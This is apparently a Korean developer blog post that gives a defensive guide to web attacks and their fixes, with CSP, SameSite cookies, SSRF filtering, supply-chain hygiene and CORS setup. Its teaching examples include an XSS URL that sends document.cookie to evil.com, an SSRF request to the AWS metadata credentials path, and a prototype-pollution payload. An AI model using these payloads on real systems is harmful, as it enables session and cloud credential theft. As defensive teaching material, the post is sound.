Skip to content
Published on

웹 보안 공격·방어 실전 — XSS, CSRF, SSRF, Clickjacking, Prototype Pollution, Supply Chain, CORS 완전 가이드 (2025)

Authors

왜 '공격 기술' 글이 필요한가

개발자가 OWASP Top 10이 있는 건 안다. 그러나 그 의미가 자기 코드 어디에 있는지 모른다. 보안은 이론이 아니다. 구체적인 공격 기법과, 구체적인 방어 코드로 배워야 한다.

  • 2024년 CVE 등록 수: 사상 최고치 경신, 28,000건 이상.
  • npm 공격이 GitHub Dependabot으로 30% 감소했으나, 여전히 주간 수백 건.
  • AI 생성 코드는 평균 40% 더 높은 취약점 밀도(Stanford 2024).

2025년에도 당신의 앱이 해킹당하는 방식은 대부분 여기에 나온 10가지 중 하나다.

Part 1 — XSS (Cross-Site Scripting)

3종류

1. Reflected XSS

https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

서버가 q를 그대로 HTML에 삽입. URL 한 번 클릭으로 탈취.

2. Stored XSS

댓글, 프로필 같은 영구 저장소에 악성 스크립트 저장. 최악 — 방문자 전체가 영향.

3. DOM-based XSS

서버는 멀쩡. 클라이언트 JS가 location.hashpostMessage를 무검증으로 DOM에 삽입.

// 나쁨
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;

방어 계층

1. 출력 이스케이핑 (기본)

  • React, Vue, Svelte는 기본적으로 이스케이프.
  • 단, dangerouslySetInnerHTML, v-html, {@html} 사용 시 뚫림.
  • 사용자가 HTML을 제공해야 한다면 DOMPurify로 sanitize.
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);

2. CSP (Content Security Policy)

가장 강력한 XSS 방어.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https: data:;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  • nonce: 서버가 응답마다 랜덤 값 생성, <script nonce="...">에 포함.
  • strict-dynamic: 신뢰된 스크립트가 로드한 스크립트도 실행 허용.
  • 'unsafe-inline' 절대 X — 90%의 CSP 우회가 여기서 시작.

3. Trusted Types (Chrome 83+, Firefox/Safari 미지원 → polyfill)

"위험한 sink(innerHTML 등)에 문자열 직접 할당 금지."

Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

element.innerHTML = policy.createHTML(userInput);

Google에서 의무화 후 자사 앱 XSS 리포트가 급감.

4. 프레임워크 안전한 API

  • React: dangerouslySetInnerHTML 대신 일반 children.
  • Vue: v-html 대신 {{ }}.
  • Angular: [innerHTML] + DomSanitizer.

Part 2 — CSRF (Cross-Site Request Forgery)

원리

공격자 사이트가 <form action="https://bank.com/transfer" method="POST">를 자동 제출. 피해자의 쿠키가 자동 전송되어 요청 성공.

2020년 이전 방어: CSRF Token

  • 서버가 토큰 발급 → form hidden field에 포함 → 검증.
  • Django, Rails가 기본 내장.
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
  • Lax (2020년 Chrome 기본): top-level navigation GET만 허용.
  • Strict: 크로스 사이트에선 절대 안 보냄.
  • None: 무관(Secure 필수).

대부분의 CSRF가 SameSite Lax로 자동 방어됨. 단, 다음 케이스는 여전히 토큰 필요:

  • GET 요청이 상태를 변경하는 경우(RESTful 위반).
  • 서브도메인 간 요청.
  • CORS로 열어둔 POST 엔드포인트.

서버 세션 없이 CSRF 방어. 쿠키와 요청 헤더에 같은 토큰을 보내 검증. SPA + 토큰 인증에 자주 쓴다.

Part 3 — SSRF (Server-Side Request Forgery)

2019 Capital One 사건

공격자(Paige Thompson)가 AWS EC2 메타데이터(169.254.169.254)에 서버 측에서 요청하도록 유도, IAM 자격증명 탈취 → S3 버킷 1억 명 데이터 유출.

공격 패턴

# 서버 코드
@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    return requests.get(url).text

# 공격: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

방어

  1. IMDSv2 사용 (AWS) — 토큰 기반, GET에서 세션 필요.

    MetadataOptions:
      HttpTokens: required
      HttpPutResponseHopLimit: 1
    
  2. URL 검증 — 스킴·호스트·포트·DNS resolve 후 IP 검증.

    • 사설 IP 대역 차단(10/8, 172.16/12, 192.168/16, 127/8, 169.254/16).
    • DNS Rebinding 방어 — 검증 후 실제 요청 직전에 재검증.
  3. 네트워크 분리 — SSRF 위험 코드는 메타데이터에 접근 못 하는 VPC/서브넷에 배치.

  4. 아웃바운드 프록시 — 허용 목록 기반 강제 프록시 경유.

  5. Fetch 라이브러리의 redirect: 'manual' — 리다이렉트로 내부 접근 우회 방지.

추가 포인트: 0.0.0.0, IPv6, 단축 URL

  • http://0.0.0.0/ → 로컬 바인드 주소로 해석.
  • http://[::1]/ → IPv6 루프백.
  • http://bit.ly/... → 리다이렉트로 내부 대상.

Part 4 — Clickjacking

원리

공격자 사이트가 피해 사이트를 <iframe>으로 투명하게 덮어씌우고 사용자의 클릭을 가로챔.

방어

X-Frame-Options: DENY
또는
Content-Security-Policy: frame-ancestors 'none'

frame-ancestors가 더 강력하고 유연(여러 도메인 허용 가능). X-Frame-Options는 레거시지만 여전히 추가하는 게 안전.

사용자 관점 방어: 중요한 액션(결제, 비밀번호 변경)엔 재인증 또는 추가 확인 단계.

Part 5 — Prototype Pollution

원리 (Node.js / 브라우저 JS 공통)

const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// 이후 모든 객체가 isAdmin: true를 가짐
({}).isAdmin  // true

실제 CVE

  • Lodash (2019, _.merge) — 수백만 앱 영향.
  • jQuery $.extend(true, ...).
  • minimist (2020) — 수많은 CLI 도구 영향.

방어

  1. 재귀 merge 시 __proto__, constructor, prototype 필터링.
  2. Object.freeze(Object.prototype) — 가능하면 앱 시작 시.
  3. Map 사용 — 임의 키를 저장할 땐 plain object 대신 Map.
  4. Object.create(null) — 프로토타입 없는 객체.
function safeMerge(target, source) {
  for (const key in source) {
    if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
    target[key] = source[key];
  }
}

Part 6 — Supply Chain 공격

대표 사건

event-stream (2018)

npm 주간 2M 다운로드 패키지에 악성 코드 삽입. Copay 암호화폐 지갑이 표적. 피해자 지갑의 BTC 탈취 시도.

ua-parser-js (2021)

주간 6M 다운로드. 공격자가 유지보수자 계정 탈취 후 악성 버전 배포.

xz-utils (2024)

거의 모든 리눅스에 포함되는 압축 라이브러리. "Jia Tan"이 2년에 걸쳐 유지보수자 자격 획득 후 OpenSSH 백도어 삽입. Microsoft 엔지니어 Andres Freund가 우연히 발견.

SolarWinds (2020)

빌드 파이프라인 자체가 침투당함. 악성 코드가 서명된 업데이트에 포함되어 18,000 고객에 배포.

방어

  1. Lock 파일 커밋package-lock.json, pnpm-lock.yaml.
  2. npm ci — CI에서 lock 준수.
  3. 자동 의존성 업데이트 + 검토 — Dependabot / Renovate.
  4. 취약점 스캐너 — Snyk, GitHub Advisory, npm audit.
  5. SBOM 생성 — Syft로 구성요소 목록화.
  6. 서명 검증 — npm 2023+ provenance, Sigstore/cosign.
  7. OSSF Scorecard — 패키지 보안 점수 확인.
  8. Least-privilege CI — 빌드 서버가 필요 이상 권한을 안 갖게.

Typosquatting

rquest (실제는 request), lodas (실제는 lodash) — 오타를 노린 악성 패키지. 정식 이름 복사 버릇을 들이자.

Part 7 — CORS 완전 이해

많은 개발자의 오해

"CORS를 풀면 보안이 풀린다." 틀렸다. CORS는 보안 기능이 아니라 같은 출처 정책(SOP)의 예외 허용 메커니즘이다. SOP가 기본 방패이고, CORS는 그 방패에 구멍을 뚫는 도구.

기본 규칙

브라우저가 크로스 오리진 요청을 보낼 때:

  • 단순 요청: GET/HEAD/POST + 특정 Content-Type → 바로 전송, 응답에 Access-Control-Allow-Origin 있으면 읽기 허용.
  • 사전 요청(preflight): PUT/DELETE/커스텀 헤더/JSON POST → 먼저 OPTIONS 요청으로 확인.

흔한 실수

1. Access-Control-Allow-Origin: * + Allow-Credentials: true

브라우저가 거부. 와일드카드면 자격증명 포함 불가. 반드시 특정 오리진 echo.

// 나쁨
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// 좋음 (허용 목록 체크 후)
if (allowedOrigins.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Vary', 'Origin');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
}

2. Origin을 그대로 echo

정규식 체크 없이 echo하면 어떤 사이트든 자격증명 읽기 가능 → 심각.

3. Vary: Origin 누락

캐시가 잘못된 응답을 다른 오리진에 서빙.

CORS와 보안의 관계

  • CORS가 열려 있다고 토큰이 유출되진 않는다 — HttpOnly 쿠키/Authorization 헤더는 여전히 안전.
  • 단, CSRF 방어가 SameSite+Origin 검증에 의존할 때, CORS 설정 실수가 인증된 요청 허용을 만든다.

Part 8 — Rate Limiting & Bot Defense

왜 필요한가

  • 로그인 brute force
  • 등록 스팸
  • 스크래핑으로 인한 비용 폭증
  • AI 오버유저로 인한 API 남용

전략

  1. IP 기반 토큰 버킷 — Redis INCR + TTL이 흔한 구현.
  2. 사용자/계정 기반 — 로그인 후는 IP보다 계정 단위.
  3. Sliding Window — 정확하지만 비용 높음.
  4. CDN/Edge 단에서 차단 — Cloudflare, Fastly, Vercel Firewall.

Bot Detection

  • Cloudflare Turnstile (2022) — 사용자 경험 좋은 CAPTCHA 대체.
  • hCaptcha, Google reCAPTCHA v3.
  • Arkose Labs — 금융권 표준.
  • Device Fingerprinting — FingerprintJS.

응답 정책

  • 429 Too Many Requests + Retry-After 헤더.
  • 침묵 실패보다 명확한 에러가 사용자·지원팀 모두에 이득.
  • 공격자 대상엔 **지연 응답(tarpit)**으로 시간 낭비 유도.

Part 9 — 인증의 흔한 실수

1. JWT를 로컬스토리지에 저장

XSS 한 번에 탈취. HttpOnly 쿠키를 써라.

2. 비밀번호 해싱에 SHA-256

Argon2id, bcrypt, scrypt만. 일반 해시는 GPU로 초당 수억 번 역산.

3. 비밀번호 복구 토큰이 예측 가능

btoa(email + Date.now()) 같은 실수. 암호학적 난수 + 짧은 TTL + 1회 사용.

4. 이메일 열거(Enumeration)

"이 이메일은 가입되어 있지 않습니다" → 공격자가 회원 목록 수집. 응답을 일관되게.

5. 세션 고정(Session Fixation)

로그인 성공 시 세션 ID를 반드시 회전.

Part 10 — HTTPS와 인증서의 실수

HSTS 미설정

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

초기 HTTP 요청의 MITM 방어. preload 목록에 등록하면 첫 방문도 보호.

인증서 고정(Pinning)의 함정

모바일 앱에 공개키 고정. 인증서 갱신 시 앱을 새로 배포 못 하면 전체 사용자 중단. 서비스 사용자 수천만이면 고정하지 말라. CT(Certificate Transparency) 모니터링이 더 실용적.

Let's Encrypt + 자동 갱신

  • 90일 인증서 → 자동 갱신 필수.
  • 2024년 **ACME Renewal Info(ARI)**로 갱신 타이밍 지능화.
  • rustls-acme, lego, certbot, Caddy(내장).

Part 11 — 실무 체크리스트 (12항목)

  1. CSP를 처음부터 — 런타임에 붙이면 항상 unsafe-inline이 남는다.
  2. SameSite=Lax 기본 — 예외 시만 None.
  3. HttpOnly + Secure — 세션 쿠키는 자명.
  4. IMDSv2 강제 — AWS 사용 시 필수.
  5. URL fetch는 SSRF 프록시 경유 — 직접 fetch(userUrl) 금지.
  6. 의존성은 lock 파일 + 자동 감사.
  7. 모든 외부 입력은 스키마 검증 (Zod 등).
  8. 출력 sink는 sanitize — innerHTML 할당 전 DOMPurify.
  9. 비밀번호는 Argon2id — 단, 기존 bcrypt도 괜찮음.
  10. Rate Limit + 로그인 실패 지수 지연.
  11. 시크릿은 Vault/Secrets Manager.env 파일 커밋 X.
  12. 보안 헤더 모두 설정 — HSTS, CSP, XFO, XCTO, Referrer-Policy, Permissions-Policy.

Part 12 — 10대 안티패턴

  1. innerHTML = userData — XSS 직행.
  2. dangerouslySetInnerHTML 남용 — sanitize 없이 사용.
  3. Access-Control-Allow-Origin: * + 자격증명.
  4. URL fetch를 어떤 검증도 없이.
  5. eval, Function(string), setTimeout(string).
  6. JWT를 localStorage에 — XSS 한 번에 모든 것.
  7. 비밀번호 재설정 토큰이 단순 숫자 / 시간 기반.
  8. 에러 메시지에 내부 정보 노출 — 스택 트레이스·쿼리·토큰.
  9. CAPTCHA 없이 무한 시도 허용.
  10. "HTTPS니까 안전하다" — 전송 보안은 기본. 인증·인가는 별개.

Part 13 — 학습 & 실습 리소스

  • 책: The Web Application Hacker's Handbook (Stuttard & Pinto) — 고전.
  • 책: Real-World Bug Hunting (Peter Yaworski) — HackerOne 실제 사례.
  • 플랫폼: PortSwigger Web Security Academy (무료).
  • 대회/연습: HackTheBox, TryHackMe.
  • 도구: Burp Suite, OWASP ZAP, Semgrep, CodeQL.
  • 뉴스: Krebs on Security, The Hacker News, GitHub Advisory DB.
  • 에세이: 매년 Snyk/Google의 보안 리포트 읽기.

마치며 — 보안은 '기본기'다

이 글의 공격들은 1998년부터 2024년까지 매년 반복되어 온 것들이다. 새 기술이 나와도 기본기를 놓친 앱부터 먼저 뚫린다.

2025년의 엔지니어에게 보안은 **"해커가 하는 특수 분야"**가 아니다. 매일의 코드 리뷰, 매일의 라이브러리 선택, 매일의 API 설계에 녹아 있는 기본기다.

좋은 소식: 이 글에 나온 방어법은 대부분 무료다. CSP, SameSite, DOMPurify, Zod, Dependabot, Cloudflare Turnstile. 설정 한 줄, 라이브러리 하나로 수많은 공격을 무력화한다.

나쁜 소식: "다음 프로젝트엔 꼭 해야지"라고 미루는 것. 이미 배포된 앱이 지금 이 순간도 스캔당하고 있다.

다음 글 예고 — "실전 네트워크 엔지니어링" — TCP 혼잡 제어, TLS 1.3, HTTP/3 QUIC, DNS over HTTPS, BGP, CDN 내부까지

웹 보안이 '무엇을 막을까'였다면, 다음 글은 '어떻게 데이터가 오가는가'다.

  • TCP 혼잡 제어의 현대 — BBR, CUBIC, PRR
  • TLS 1.3의 혁명 — 1-RTT, 0-RTT, Post-Quantum
  • HTTP/3 + QUIC — UDP 기반 재해석
  • DNS의 진화 — DoH, DoT, DNSSEC, ECS
  • BGP 하이재킹 — Facebook 2021년 6시간 장애의 진짜 원인
  • Anycast와 CDN 라우팅 — Cloudflare/Fastly/Akamai
  • WebSocket vs SSE vs WebTransport — 실시간 통신의 선택
  • Zero RTT의 보안 위험 — replay attack
  • eBPF로 네트워크 관측하기
  • 프로토콜을 패킷 단위로 이해하기 — Wireshark 실전

"네트워크가 느려요"의 원인을 프로토콜 레이어로 내려가 찾는 법. 다음 글에서.